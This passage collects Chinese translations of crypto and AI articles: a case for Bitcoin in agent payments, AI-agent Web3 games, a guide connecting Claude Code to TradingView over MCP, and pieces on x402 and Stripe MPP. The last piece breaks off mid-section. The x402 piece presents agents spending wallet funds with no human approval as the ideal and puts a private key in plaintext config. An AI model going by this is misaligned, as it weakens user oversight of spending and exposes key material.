但比人类对货币偏好和风险的主观判断更重要的是，便利性将驱动智能体的支付量。而便利性很大程度上来自于默认设置。那么，数字经济的默认设置将是什么？

没有行动和倡导，许多这些默认设置可能会倾向于稳定币。这就是我们目前所处的道路。但只要有努力和精力，比特币社区可以将比特币摆上桌面。

以下是具体方法：

1. 使其成为开源 AI 的默认选择。

"开源 AI 应该使用开源货币"这句话一直很有道理。现在是时候让它成为现实了。

开源智能体（如 OpenClaw、Hermes、Goose 以及所有将继续上市的其他持久化智能体 OSS 产品）应该在出厂时即配备比特币闪电网络钱包。中立和开放的支付轨道应该成为追求中立定位和运营的智能体的通用语言。

我们需要开始影响、教育、激励和搭建桥梁，帮助相关 OSS AI 项目领导者克服偏见。让我们说服他们（更好的是，向他们展示）拥有开放获取资金的能力可以使他们的产品比大型 AI 实验室的产品更好、更独特、更持久。

2. 推动大型 AI 公司转向比特币。

也许能够推动智能体支付量的最高影响力的默认设置是 ChatGPT、Claude 和 Gemini 等持久化智能体中的消费者支付体验。我们的零假设是，它们将优化稳定币和/或对传统金融轨道的渐进式改进，通过与现有巨头的合作伙伴关系来强行实施。

然而，大型 AI 实验室有一个有趣的比特币公关机会：他们可以采用比特币进行支付，并利用其中立性来表明他们希望避免不必要权力的集中化，从而抵消他们自己对人类社会几乎所有其他方面——思想、创造力和劳动——日益增长的影响力。AI 没有理由控制我们的支付，大型 AI 实验室的领导者可以通过实现这一点——甚至使其成为标准——来赢得公众好感。将奥弗顿窗口推得如此之远是一个长线机会，但这是一个值得探索的长线机会。

3. 创造新的需求。

俗话说，需求治愈一切。因此，我们应该努力治愈一切。

让我们构建酷炫的新产品体验、新的端点和新的服务，所有这些都以前所未有的令人惊叹的方式为智能体和人类使用比特币。一个以比特币智能体消费（或赚钱！）为核心的消费者受众中的爆款，可以迅速改变每个人的思维模式，让他们认识到比特币在智能体商业中的价值和必要性。

比特币可以成为一整类 🔥新型智能体体验的默认货币——这也是我们在 Flint 社区正在探索的事情之一。创造你想要看到的世界，一直是实现它的最好方式。

4. 最大化端点覆盖。

让我们确保每一个有用的机器可支付端点都有比特币支付选项——无论是通过 L402、MPP 还是在 x402 内部实现闪电网络。这应该适用于现在存在的一切以及未来新兴的一切。我们不应该让稳定币赢得覆盖范围的战争。

这是一个广泛的意识和商业拓展问题：我们需要让所有开发者知道，比特币同样适用于智能体支付，并指引他们使用使之成为可能的便捷工具。

5. 务实的工具开发。

由于稳定币可能会占据小型机器对机器支付市场的很大份额，比特币支付工具如果务实地在闪电网络之外也支持稳定币，将更有利于自身发展。原则应该是让客户无论使用何种支付轨道或意识形态，都能轻松支付，让商家能够轻松收款。

如果比特币-only 解决方案增加任何人使用它们的时间和精力，那就会削弱它们自身的采用。例如，智能体钱包产品可以同时支持比特币和稳定币（也许从 USDC 开始？），使其易于维护一个"混合资金库"，根据短期债务预测，在消费和储蓄用例之间持续优化余额。我们不会在这里设计完整产品，但我们需要注意，在任何未来场景中，稳定币都将是图景的一部分。

我们可以选择让比特币成为一个易于合作的赢家，或者被限制在意识形态的角落里。

6. 成为储蓄的默认选择。

我们应该充分利用比特币的核心价值主张：一个对抗通货膨胀祸害的长期价值储存手段。如果我们能让人类和他们的智能体相信，任何负责任的、具有长期视野的资金库都需要一定比例的比特币，那么他们自然会要求进行比特币交易。

比特币以世纪为单位进行规划。尽管短期采用仍在进行中，但在智能体经济开始形成之际，最重要的事情是帮助商家、用户和智能体运营者意识到比特币的闪电网络是一个可行的选择，与稳定币一样可行。

即使许多人（大多数人？）不选择比特币，即使许多人（大多数人？）选择稳定币，只要比特币仍然是一个可行的、有效的选项，拥有跨栈的高性能工具，并嵌入到我们所能触及的任何默认设置中，一切就都很好。

最终，在漫长的历史弧线中，如果比特币持续存在并长期保持作为智能体支付的可行退出路径，智能体将会选择退出。或者不得不退出。

原文链接: The Best Money For Agents

DefiPlot翻译整理，转载请标明出处

游戏一直是智能的试验场。

早在人工智能成为头条产业之前，游戏就已经在训练人类在压力下推理、适应不完整的信息，并在复杂环境中与他人协调。国际象棋磨砺了战略远见。扑克奖赏概率思维。多人游戏训练了反应能力、团队合作和元策略适应。

2026 年发生变化的不是游戏的角色——而是谁在从中学习。

AI 系统首次不再是嵌入游戏中的被动工具。它们正在成为参与者、学习者，在某些情况下成为经济行为者。与此同时，Web3 基础设施赋予了这些系统持久性、所有权和可组合性。

结果是一个新的品类诞生了：AI 代理驱动的 Web3 游戏——游戏作为智能、技能和决策的活体实验室。

本文探讨了推动这一前沿的七个真实项目。它们共同展示了游戏如何演变为互联网的智能层——以及为什么投资者、开发者和玩家都在关注。

1. House of TEN — 自主代理作为玩家

类别： 全链上 AI 代理扑克 核心创新： 代理代替人类进行游戏

House of TEN 代表了真正的代理原生游戏玩法最清晰的早期案例之一。

不是人类坐在牌桌旁，游戏采用自主 AI 扑克代理——每个代理都有独特的策略、下注行为和风险偏好。玩家不控制角色；他们对代理进行质押，分析它们的倾向，并从它们的表现中获利。

这为什么重要：

• 扑克是一个高信号的智能环境：虚张声势、不完整信息、心理推断。
• 这些代理不是静态机器人。它们随着时间适应、学习和进化策略。
• 游戏证明了 AI 代理可以作为经济行为者运作，而不仅仅是后台逻辑。

从架构角度来看，House of TEN 证明了一件重要的事情：

AI 代理可以作为链上游戏的一等公民参与者——拥有身份、表现历史和财务后果。

这是一个窄用例，但是基础性的。

2. Virtuals Protocol — 代理创建层

类别： AI 代理基础设施 核心创新： 创建、部署和商业化代理的工具

如果说 House of TEN 展示了代理能做什么，Virtuals Protocol 则展示了它们如何被构建。

Virtuals 本身不是一个游戏。它是一个代理创建和协调框架，允许开发者（以及最终用户）设计可以在各种环境中运行的自主代理——包括游戏。

关键贡献：

• 无代码/低代码代理创建
• 持久代理身份
• 跨平台部署
• 代理的代币化所有权

在游戏场景中，这支持：

• 从玩家行为中学习的 NPC
• 跨会话持久存在的 AI 伙伴
• 表现决定价值的代理经济

Virtuals 很重要，因为它将复杂性从单个游戏中抽象出来。不再是每个工作室都重新发明 AI 基础设施，代理框架成为共享原语——类似于钱包或智能合约。

这就是 AI 代理如何在生态系统中规模化扩展的方式。

3. Illuvium — 代理增强的 AAA 游戏

类别： 策略 RPG 核心创新： 在大型游戏世界中的 AI 驱动 NPC 行为

Illuvium 常因其制作质量而被讨论，但它在此处的相关性在于如何将自适应系统融入传统游戏结构。

Illuvium 不是用完全自主的代理替代玩家，而是探索：

• AI 增强的 NPC
• 动态遭遇
• 适应玩家策略的行为树

这种混合模式很重要，因为它在主流游戏期望与新兴 AI 能力之间架起了桥梁。

玩家仍然控制结果，但世界会智能地回应。随着时间的推移，这些系统可以演化为：

• 个性化难度曲线
• 具备元策略意识的对手
• 自适应经济

Illuvium 展示了 AI 代理如何被渐进式引入——而不会疏远玩家。

4. Satoshi Strike Force — 技能经济作为智能引擎

类别： 竞技 Web3 动作游戏 核心创新： 技能优先设计产生高信号决策数据

Satoshi Strike Force 处于设计空间中的不同位置——这正是它有趣的原因。

它不是以 AI 奇观为引领，而是以竞技技能为引领。

该项目围绕一个简单但强大的论点构建：

最高质量的智能数据来自技术精湛的人类在压力下做出的真实决策。

Satoshi Strike Force 的独特之处

1. 技能证明，而非肝度证明价值不是通过重复或挂机刷怪创造的。它产生于：

• 战术决策
• 操作执行
• 战略适应
• 竞技结果

这形成了一个技能到价值引擎，表现直接影响奖励。

2. 决策质量循环每场比赛生成：

• 输入（玩家选择）
• 结果（胜负、权衡）
• 反馈（元策略变化、排名变动）

随着时间的推移，这创造了一个玩家和系统都在学习的持续循环。

3. 自适应元策略游戏不是静态的平衡补丁，而是设计为持续进化：

• 玩家行为重塑策略
• 竞技模式指导系统调优
• AI 层可以观察并响应元策略变化

4. 持久身份层玩家不是匿名的钱包。他们发展出：

• 历史记录
• 游戏风格特征
• 长期声誉上下文

这种持久性对于未来的 AI 训练和代理建模至关重要。

为什么这对 AI 很重要

Satoshi Strike Force 充当人类智能捕获系统——不是悄悄提取数据，而是透明地奖励卓越表现。

对于 AI 系统来说，这种环境是金矿：

• 真实决策
• 真实赌注
• 真实适应
• 真实后果

这不是关于用代理替代玩家——而是关于与玩家一起训练系统。

5. iAgent Protocol — 将玩家变成代理

类别： 代理训练与代币化 核心创新： 从真实玩家行为训练的代理

iAgent Protocol 完全颠倒了模型。

开发者不再从零开始设计代理，玩家可以：

• 上传游戏数据
• 在自己的游戏风格上训练 AI 代理
• 将这些代理代币化为资产

其影响是深远的：

一个高技能玩家的决策模式成为了一种数字商品。

这打开了以下可能：

• 代理授权
• 策略复制
• 跨游戏代理部署

在未来的生态系统中，一个顶级玩家的代理可以：

• 参加锦标赛
• 辅助其他玩家
• 影响 AI 训练模型

iAgent 还处于早期，但在概念上很重要。它将人类智能视为一种可生产、可拥有的资源。

6. Zerebro — 超越游戏的自主代理

类别： AI 代理生态系统 核心创新： 在内容和交互层运行的自主代理

Zerebro 不太关注游戏本身，更关注跨数字环境的代理自主性。

它与游戏的相关性在于：

• 持久代理身份
• 自主决策
• 跨领域交互

随着游戏日益连接到社交平台、经济系统和虚拟世界，像 Zerebro 这样的代理系统为以下方面提供了蓝图：

• 具有记忆的 AI 角色
• 跨平台连续性
• 叙事驱动的代理行为

与其说是"NPC"，不如说是数字演员。

7. Swarms — 集体智能模型

类别： 多代理协调 核心创新： 代理协作产生的涌现行为

Swarms 探索多个代理如何在没有中央控制的情况下协调。

受到生物系统的启发，这种方法特别适用于：

• 大规模模拟
• 策略游戏
• 动态世界生成

在游戏场景中，集群智能可以驱动：

• 自适应生态系统
• 涌现的派系
• 活态经济

设计者不再编写脚本化结果，而是定义规则——让智能自行涌现。

8、结束语

纵观这些项目，一个清晰的模式浮现出来：

• 游戏正在成为智能基础设施
• 玩家正在成为数据生产者，而不仅仅是消费者
• AI 代理正在成为参与者，而不仅仅是工具
• Web3 提供了使这一切可组合的持久层

在这一格局中，像 Satoshi Strike Force 这样的项目之所以重要，不是因为它们喊得最响——而是因为它们专注于决策质量、技能表达和长期系统思维。

下一波智能不会在电子表格中训练，也不会从静态文本中爬取。

它将在这里形成：

• 竞技场
• 动态世界
• 基于技能的环境
• 持久的数字身份

游戏不再仅仅是娱乐。它正在成为智能系统的训练场——以及人类技能的交易市场。

对于关注 2026 年 AI 与 Web3 融合的投资者、开发者和玩家，信号很明确：

关注那些尊重技能、奖励决策、为智能而建——而非为炒作而建的游戏。

未来正在那里形成。

原文链接: AI Agents and Web3 Gaming in 2026: 7 Pioneering Projects Shaping the Future of Interactive Entertainment

DefiPlot翻译整理，转载请标明出处

如何将 Anthropic 最强大的 CLI 工具直接连接到 TradingView 桌面版，实现实时形态识别和交易策略执行，告别手动图表分析。

本文将深入探讨"TradingView MCP"桥接方案。我们不仅仅是在讨论向 AI 询问价格预测；我们是在讨论让 Claude 拥有你图表上的"眼睛"。你将学习如何配置模型上下文协议（MCP），让 Claude 读取指标、截图并实时验证交易形态。

1、引子：超越"猜测"

大多数交易者把 AI 当作一个精致的 Magic 8-Ball（魔术八号球）。他们将价格数据复制粘贴到聊天窗口中，然后问，"BTC 会涨吗？" 结果通常是缺乏当前市场结构细微差别的笼统、过时的回应。

但上个月，一切都变了。随着 Claude Code 和**模型上下文协议（MCP）**的发布，我们获得了不再告诉 AI 发生了什么，而是开始展示给它看的能力。通过将 Claude 直接连接到你的 TradingView 桌面实例，你可以将 LLM 从静态聊天机器人转变为动态副驾驶，它能看到你的 EMA 交叉、识别 RSI 背离，在你还在喝晨间咖啡时就建议入场点。

2、问题：上下文鸿沟

系统化交易者最大的敌人是决策延迟。当你分析完三个不同的时间框架、确认了你的偏向、计算出仓位大小后，"最佳"入场点往往已经消失了。

标准 AI 工具在这里失效，因为它们缺乏实时上下文。它们不知道你的 Level 2 数据上刚刚出现了一面巨大的卖墙，或者你 5 分钟图上的某个指标刚刚闪了"买入"信号。Claude Code 通过 MCP 桥接直接读取你活跃的 TradingView 窗口，弥合了这个鸿沟。

3、解决方案：TradingView MCP 桥接

模型上下文协议（MCP）是一个开放标准，使开发者能够构建为 LLM 提供工具的"服务器"。在本例中，我们使用一个专门的 MCP 服务器，通过  Chrome DevTools 协议（CDP）与 TradingView 桌面版通信。

配置正确后，Claude 不仅仅是"聊天"——它执行以下功能：

• tv_get_current_symbol：返回你当前正在查看的资产。
• tv_get_indicators：读取你活跃脚本的值（例如 LuxAlgo、ICT 概念或简单的 SMA）。
• tv_screenshot：捕获图表的视觉状态，用于视觉形态识别。

4、分步指南（完整设置）

4.1 前置条件

在进入终端之前，请确保你有：

• Claude Code 已安装并完成认证。
• TradingView 桌面版（需要付费订阅才能获得 CDP 访问权限）。
• Node.js（v18+） 和 Git 已安装在你的 Windows 机器上。

4.2 "后门"启动

你不能通过桌面快捷方式启动 TradingView 来实现此功能。它必须通过远程调试端口启动。

1. 关闭所有 TradingView 实例。
2. 打开 PowerShell 并找到你的 TradingView 安装路径（通常在 WindowsApps 下）。
3. 使用以下命令启动：

Start-Process "PATH_TO_YOUR_TRADINGVIEW.EXE" -ArgumentList "--remote-debugging-port=9222"

注意：端口 9222 是 Claude "看到"应用的标准网关。

4.3 配置 MCP 服务器

你需要告诉 Claude TradingView "翻译器"在哪里。这通过 .claude.json 配置文件完成。

1. 在终端中，导航到你的项目文件夹。
2. 克隆 TradingView MCP 仓库（在 GitHub 上查找最新的桥接方案）。
3. 更新你的 mcpServers 配置以包含 tv-mcp-server 的路径。

4.4 健康检查

一旦 TradingView 运行并且服务器配置完成，打开 Claude Code 并输入：tv_health_check

如果响应显示你当前的代码（例如，"Connected to BTCUSD on 15m chart"），你就正式实现了面向未来的交易。

5、策略执行：如何获取真实的交易形态

现在"眼睛"已经打开，如何让"大脑"工作？你需要一个系统化提示框架。

"分析师"提示词：

"Claude，读取我当前的 TradingView 设置。使用我图表上的 EMA 识别 4H 时间框架上的趋势。然后，检查 15m 图上是否存在'公允价值缺口'（FVG）或 RSI 超卖条件。如果它们对齐，建议一个 2:1 盈亏比的限价单入场。"

Claude 将会：

1. 查询指标。
2. 分析趋势。
3. 确认入场。
4. 为你的交易提供精确坐标。

6、现实检验：这不是"自动印钞"机

这是大多数"AI 网红"隐藏的诚实真相：

• 延迟是真实的： 如果你的网络波动，CDP 连接可能会断开。始终要有手动备份。
• 解读错误： 如果输出在数据窗口中没有清晰格式化，Claude 可能会误判复杂的自定义 Pine Script 指标。
• 暂无自动执行： 此设置用于分析，而非自动化机器人交易。你仍然需要点击"买入"或"卖出"。Claude 是你的顾问，不是你的经纪商。

7、洞察与经验

运行此设置数周后，我最大的收获是耐心。Claude 在防止"报复性交易"方面表现出色。如果你让 Claude 验证一个交易形态，它说*"指标与你的策略不匹配"*，它消除了强行交易的情绪冲动。

关键发现：

• 截图为王： Claude 3.5 Sonnet 在视觉上识别"头肩顶"形态比通过原始数据点更准确。
• 少即是多： 不要用 20 个指标塞满你的图表。MCP 桥接在 3-5 个高信号脚本下效果最好。

8、TradingView MCP：Windows 安装和连接指南

模型上下文协议（MCP）是一种授予 Claude Code 访问外部应用程序的方法。在本例中，它连接到 TradingView 桌面版。配置完成后，Claude 可以直接在聊天中读取图表数据、管理指标并截图。

Claude 通过特定端口 9222 使用 Chrome DevTools 协议连接到 TradingView。因此，TradingView 必须以特定方式启动，而不是通过标准快捷方式。

前置条件

• Claude Code：已安装并运行。
• TradingView 桌面版：需要付费订阅（非网页版）。
• Node.js：18 版本或更高。
• Git：用于从 GitHub 下载代码的工具。

步骤 1. 安装 Node.js

1. 访问 nodejs.org 并下载 LTS 版本。
2. 像安装标准程序一样安装它，一路点击下一步。
3. 验证安装：打开 PowerShell（Win + R，输入 powershell，回车）并运行：node --version
4. 应该出现版本号（例如 v20.11.0）。

步骤 2. 安装 Git

1. 访问 git-scm.com 并下载 Git for Windows。
2. 使用默认设置安装。
3. 验证安装：git --version

步骤 3. 下载 MCP 服务器

1. 确定存储服务器文件的位置。建议在 C:\Users\YOUR_NAME\.claude\ 内创建一个 tools 文件夹以保持工具整洁。
2. 打开 PowerShell，导航到你选择的文件夹，并克隆仓库：

cd "C:\Users\YOUR_NAME\.claude\tools"
git clone https://github.com/tradesdontlie/tradingview-mcp.git
cd tradingview-mcp
npm install

注意：npm install 安装必要的库，可能需要 1-2 分钟。

步骤 4. 在 Claude Code 中配置 MCP

Claude Code 将设置存储在用户主文件夹中的 claude.json 文件中（例如 C:\Users\YOUR_NAME\.claude.json）。

1. 用任何文本编辑器打开此文件（记事本、VS Code 等）。
2. 找到 "mcpServers" 部分并添加以下条目：

"mcpServers": {
  "tradingview-desktop": {
    "type": "stdio",
    "command": "node",
    "args": [
      "C:\\Users\\YOUR_NAME\\.claude\\tools\\tradingview-mcp\\src\\server.js"
    ],
    "env": {}
  }
}

重要： 将 YOUR_NAME 替换为你的实际 Windows 用户名，并确保 server.js 的路径正确。JSON 格式要求路径使用双反斜杠 \\。

步骤 5. 使用调试端口启动 TradingView

TradingView 必须在端口 9222 打开的情况下启动。

方式 A：通过脚本 在 PowerShell 中导航到仓库文件夹并运行：.\scripts\launch_tv_debug.bat 脚本将自动找到 TradingView，关闭所有活动实例，并以正确的端口重新启动。

方式 B：手动启动（如果方式 A 失败） 如果脚本找不到可执行文件（WindowsApps 版本常见），使用 PowerShell 查找路径：

1. 获取路径：Get-AppxPackage *TradingView* | Select-Object InstallLocation
2. 使用获取的路径启动：Start-Process "PATH_FROM_PREVIOUS_STEP\TradingView.exe" -ArgumentList "--remote-debugging-port=9222"

步骤 6. 验证连接

TradingView 运行后，打开 Claude Code 并输入：tv_health_check 如果成功，Claude 将确认连接并显示你图表上的当前交易对。

故障排除

9、工作原理

当你启动 Claude Code 时，它会自动启动 claude.json 中定义的 Node.js 服务器。服务器通过端口 9222 连接到 TradingView，使 Claude 能够与你的图表交互。TradingView 必须在打开 Claude Code 之前使用 --remote-debugging-port=9222 标志启动。

原文链接: Claude Code and TradingView

DefiPlot翻译整理，转载请标明出处

有人使用 Claude 报税，通过 x402 支付了 $3.80 的 USDC，并将报税表通过实体邮件寄给了 IRS——全程无需触碰任何表格。

随后的一句评价是："base + x402 + claude = 不可阻挡的技术栈。"

这不是一个演示。它已经在生产环境中运行。本文将介绍当你将 Claude Code、MCP 和 x402 结合在一起时会发生什么，以及为什么这代表了 API 商业化方式的结构性转变。

1、为什么 MCP 和 x402 天生一对

MCP（Model Context Protocol，模型上下文协议）由 Anthropic 开发，是 AI 代理调用外部工具的标准。Claude Code 使用 MCP 服务器来访问数据库、API 和外部服务。

x402 是构建在 HTTP 之上的支付层。服务器返回带有价格的 HTTP 402 状态码，代理用 USDC 支付，然后重试。无需表单、无需 API 密钥、无需订阅。

将它们结合起来，流程如下：

Claude calls a tool via MCP
  ↓
MCP server sends HTTP request to paid API
  ↓
API returns 402 Payment Required ($0.01 USDC)
  ↓
MCP server pays automatically from wallet
  ↓
API returns 200 OK + data
  ↓
Claude continues the task

任何步骤都不需要人类批准。只要钱包有余额且支出在预算策略范围内，Claude 就会端到端地处理一切。

报税示例使用了 PostalForm——在发布时就与 MPP/x402 集成的服务之一。Claude 起草了报税表，通过 x402 支付了邮寄服务费用，PostalForm 通过 USPS 将其寄给了 IRS。人类的角色仅仅是：输入指令。

2、架构

Coinbase 的官方文档包含一个可运行的 MCP + x402 示例。结构非常简单。

Claude Desktop / Claude Code
      ↓ tool call
MCP Server (x402 client)
      ↓ HTTP request
Paid API (x402-enabled endpoint)
      ↓ 402 Payment Required
MCP Server pays automatically in USDC
      ↓ 200 OK + data
Result returned to Claude

客户端实现非常简洁：

import { wrapAxiosWithPayment } from "@x402/axios";
import { x402Client } from "@x402/core/client";
import { registerExactEvmScheme } from "@x402/evm/exact/client";
const client = new x402Client();
registerExactEvmScheme(client, { signer: evmSigner });
// Every axios request now handles x402 automatically
const httpClient = wrapAxiosWithPayment(axios.create(), client);
// Write normal HTTP requests — 402 responses are handled transparently
const data = await httpClient.get("https://api.example.com/paid-endpoint");

服务端同样简洁：

// Hono example — x402-enabled endpoint
import { paymentMiddleware } from "x402-hono";
app.use(
  paymentMiddleware(
    process.env.WALLET_ADDRESS,
    {
      "/api/data": {
        price: "$0.01",
        network: "base-sepolia",
      },
    },
    { url: "https://x402.org/facilitator" }
  )
);
app.get("/api/data", (c) => {
  return c.json({ result: "paid content" });
});

3、Claude Code 设置提示词

将以下内容粘贴到 Claude Code 中，即可搭建一个支持 x402 的 MCP 服务器：

# Set up an x402-enabled MCP server
## Goal
Build an MCP server that can access paid APIs using the x402 protocol.
When Claude calls an MCP tool, payment should be handled automatically
via x402 — no human intervention at payment time.
## Stack
- TypeScript
- @x402/axios (client-side payment automation)
- @x402/evm (Base/EVM support)
- @modelcontextprotocol/sdk (MCP server)
## Steps
### 1. Install dependencies
npm install @x402/axios @x402/core @x402/evm @modelcontextprotocol/sdk axios viem
### 2. Environment variables (.env)
EVM_PRIVATE_KEY=0x...     # Private key of wallet holding USDC on Base
RESOURCE_SERVER_URL=https://api.example.com
ENDPOINT_PATH=/paid-endpoint
### 3. Implement the MCP server
Spec:
- Tool name: get_paid_data
- Description: Fetch data from an x402-priced API
- Payment is handled automatically by @x402/axios
- Use EVM wallet on Base mainnet with USDC
- On 402 response: auto-pay and retry
### 4. Register with Claude Desktop
Add to claude_desktop_config.json:
{
  "mcpServers": {
    "x402-demo": {
      "command": "node",
      "args": ["./dist/mcp-server.js"],
      "env": {
        "EVM_PRIVATE_KEY": "<your-private-key>",
        "RESOURCE_SERVER_URL": "<api-url>"
      }
    }
  }
}
### 5. Test
Ask Claude: "Use the get_paid_data tool to fetch data."
Check the X-Payment-Settled header to confirm the transaction amount.
## Reference
- Official example: https://github.com/coinbase/x402/tree/main/examples/typescript/clients/mcp
- Docs: https://docs.cdp.coinbase.com/x402/mcp-server

4、被消除的体验摩擦

传统的 API 访问流程：

1. 注册账户
2. 添加信用卡
3. 生成 API 密钥
4. 选择定价方案
5. 管理月度账单

整个流程是为使用浏览器的人类设计的。自主代理无法填写表单、无法选择方案、无法管理仪表盘。

x402 × MCP 消除了这一切。代理调用 API → 返回 402 → 发送支付 → 收到数据。无需注册、无需 API 密钥、无需管理订阅。

关于范围的澄清：x402 不处理订阅、开票、客户管理、税务合规或退款争议。它是一个协议级别的按请求支付原语。这是一个深思熟虑的设计决策——面向人类的管理留在 Stripe 上，自主的按请求支付运行在 x402 上。

5、你现在可以构建什么

自主研究 给 Claude 一个研究任务。它通过 MCP 调用多个数据 API，通过 x402 每次调用支付几分钱，并返回一份完整的报告。无需预先注册每个 API 提供商。

无需订阅即可访问付费内容 按使用次数访问付费内容或专业数据源。Claude 支付并获取——无需人类先设置订阅。

物理世界操作（PostalForm 示例）支持 x402 的服务可以触发物理操作——打印、邮寄、订购——这些操作可以像其他 API 一样从 Claude 调用。"起草这个并邮寄出去"变成了一条完全执行的单一指令。

6、预算控制

自主支出引发了一个显而易见的担忧。答案在于 upto 方案和策略引擎。

upto 方案：代理预先签署一个 $5.00 的上限。服务器只收取实际消费的金额。Permit2 合约使过度收费在技术上不可能实现。

策略引擎（Coinbase CDP）：

{
  maxAmountPerTransaction: "1.00",  // $1 per call max
  dailyLimit: "10.00",              // $10 per day total
  allowedRecipients: [
    "0xAbCd...1234"                 // only this address
  ]
}

没有余额 → 代理停止。超出策略 → 代理停止。这就是预算约束自主代理的架构。

7、客观评估

兼容 x402 的 API 仍然有限。目前支持 x402 的日语服务基本为零。LangChain、CrewAI 和 Claude 的 MCP 生态系统已将 x402 适配器作为标准配置，但供应端——接受 x402 的 API——仍处于早期阶段。

结构性正在发生变化的是：随着 Claude Code 的成熟和 MCP 工具使用的增长，API 提供商面临一个新问题。你是想让 AI 代理能够访问你的服务，还是仅限于拥有计费账户的人类？x402 是实现前者的最简路径。

报税故事只是规模化后的一个缩影。一个能够处理完整工作流——起草、支付、发送——而无需在每个步骤进行人工干预的代理。实现这一切的基础设施今天已经存在。

原文链接: Claude Code × x402: Why MCP and x402 Belong Together

DefiPlot翻译整理，转载请标明出处

直到最近，API 收费的方式几乎只有一种：Stripe 订阅、API 密钥和月度发票。当注册的是人类开发者时，这个模式运作得很好。但 AI 代理不会填表，也不会管理计费仪表盘。

两种新协议正在竞相解决这个问题：

• Coinbase 的 x402 将支付直接嵌入 HTTP 请求，无需账户，无需设置。
• Stripe 的机器支付协议（Machine Payments Protocol，MPP），于 2026 年 3 月 18 日随 Tempo 主网推出，采用了一种不同的方法：基于会话的流式支付，并内置了 Stripe 的合规体系。

如果你正在构建或商业化 MCP 工具，这就是你现在需要做的决策。本文将详细介绍这两种协议，在开发者体验、成本、安全性和生态成熟度方面进行比较，并讨论传统计费在哪些场景仍然适用。

1、为什么传统计费模式不适用于 AI 代理

AI 代理在代我们执行任务方面已经变得非常出色：调用 API、查询数据库、编排多步骤工作流。但当代理需要为一个它未被预配置使用的服务付费时，整个体验就会崩溃。

传统流程（注册账户、生成 API 密钥、配置计费、管理订阅）是为使用浏览器的人类设计的。它需要有人创建客户账户、输入信用卡信息并管理仪表盘。自主代理无法做到其中任何一项。成本结构也不匹配：Stripe 的标准信用卡处理费约为每笔交易 2.9% + $0.30，这使得低于约 $1 的按请求计费变得不经济。当你的 MCP 工具每次调用收费 $0.01 时，$0.30 的固定费用是行不通的。

传统计费仍然有其用武之地。订阅、企业合同、开票、合规：这些都不会消失。如果你面向的是需要仪表盘和收据的人类团队，Stripe 的核心平台仍然是最佳选择。我们会在本文末尾再讨论它的适用场景。

但对于代理原生用例（自主发现、按请求微支付、无人类参与），2026 年真正的选择在两个专用协议之间：x402 和 Stripe 的 MPP。

2、x402：开放、简单的选择

x402 是一个开放协议（Apache 2.0，由 Coinbase 和 Cloudflare 共同创立的 x402 基金会治理），它重新利用了长期休眠的 HTTP 402（"Payment Required"）状态码。流程极其精简：

1. 客户端请求受保护的资源。
2. 服务器响应 HTTP 402 和机器可读的支付指令（价格、代币、链、收款钱包）。
3. 客户端在链上支付（通常是 Base 或 Solana 上的 USDC），将支付证明附加到重试请求中。
4. 服务器验证结算并返回响应。

无需账户、API 密钥或订阅。支付收据就是凭证。

对于 MCP 服务器，Vercel 构建了 x402-mcp：一个将 x402 协议封装到 Vercel AI SDK 中的 npm 包。它引入了 paidTool 原语，让你可以为任何 MCP 工具声明价格并在执行前要求支付。实际使用效果如下：

import { createPaidMcpHandler } from "x402-mcp";
import z from "zod";

const handler = createPaidMcpHandler(
  (server) => {
    server.paidTool(
      "weather_lookup",
      { price: 0.001 },                          // $0.001 per call
      { location: z.string() },
      async ({ location }) => {
        // your tool logic here
        return { temperature: 72, conditions: "sunny" };
      }
    );
  },
  { recipient: process.env.WALLET_ADDRESS }
);

export { handler as GET, handler as POST };

这是一个完整的付费 MCP 工具：模式验证、定价和支付执行都在一个声明中完成。在客户端，一个简单的包装器就能实现自动支付处理：

import { experimental_createMCPClient as createMCPClient } from "ai";
import { withPayment } from "x402-mcp";

const mcpClient = await createMCPClient({
  transport: new StreamableHTTPClientTransport(url),
}).then((client) => withPayment(client, { account }));

const tools = await mcpClient.tools();  // paid tools just work

虽然 x402-mcp 是在 MCP 中使用 x402 最便捷的方式，但协议本身与框架无关，拥有适用于 Express、Hono、Next.js 等框架的中间件。

x402 不是一个完整的支付平台。它不处理订阅、开票、客户管理、税务合规或退款争议。它是一个协议级别的按请求支付原语。

3、Stripe MPP：高吞吐量、内置合规的选择

MPP 于 2026 年 3 月 18 日随 Tempo 主网一同推出，由 Stripe 和 Tempo 共同编写。x402 要求每个请求进行一次区块链交易，而 MPP 引入了会话的概念：代理预先授权一个消费限额，然后持续对该会话流式支付微付款，无需为每次调用单独进行链上交易。

这对高频场景非常重要。如果你的代理每小时查询数据源数千次，你不会希望每次都签名并广播链上交易。会话通过聚合支付并批量结算来解决这个问题。

Tempo 的链是为此专门构建的。它每秒处理数万笔交易，具有亚秒级最终性，并且没有原生 Gas 代币；费用以稳定币支付。MPP 流入 Stripe 现有的 PaymentIntents API，因此商家可以获得欺诈检测（Radar）、税务处理和报告功能。

MPP 还与 Stripe 的 共享支付令牌（Shared Payment Tokens，SPTs）协同工作，意味着通过 MPP 支付的代理可以使用 Tempo 上的 USDC 或用户关联的 Visa 卡。这种混合法币 + 加密货币的能力是该方案的独特优势。

4、x402 vs. Stripe MPP：正面比较

4.1 开发者体验

x402 在代理支付领域的入门门槛最低。使用 x402-mcp 包，你只需定义一个带有价格的 paidTool，指向一个钱包地址，就完成了。在客户端，用 withPayment() 包装 MCP 客户端即可自动处理 402 握手。

MPP 需要 Stripe 集成，这意味着更多的设置工作（SDK、仪表盘、PaymentIntents）。但如果你已经在使用 Stripe，添加 MPP 更像是配置变更而非平台迁移。会话管理在客户端增加了一些复杂性，但作为回报，Stripe 处理结算、合规和报告。

4.2 定价模型

两种协议都针对按请求和微支付定价，但执行方式不同。

x402 将每个请求结算为独立的链上支付。简单、透明，但意味着每次调用都会产生区块链开销（尽管在 Base 上这个开销很小）。

MPP 在会话内聚合支付并批量结算。这使得它在高频场景中更高效，因为在数千次调用中每次交易的开销会累积。

4.3 成本结构

x402： Base 上的交易结算费用不到一分钱。没有平台费；只有名义上的区块链网络费用。一次 $0.01 的 API 调用总费用约为 $0.011。亚美分定价变得经济可行。

MPP： Tempo 没有原生 Gas 代币；费用以稳定币支付，设计上可以忽略不计。基于会话的聚合进一步降低了每次调用的开销。由于 MPP 结算进入 Stripe，商家获得 Stripe 的处理能力，但链上环节很便宜。

两者都比传统的信用卡处理便宜几个数量级。x402 和 MPP 之间的成本差异本身很小；更大的区别在于包含什么（MPP 捆绑了合规）与你需要自己构建什么（x402 留给你自己处理）。

4.4 安全与信任

这是两种方法在决策者眼中分歧最大的地方。

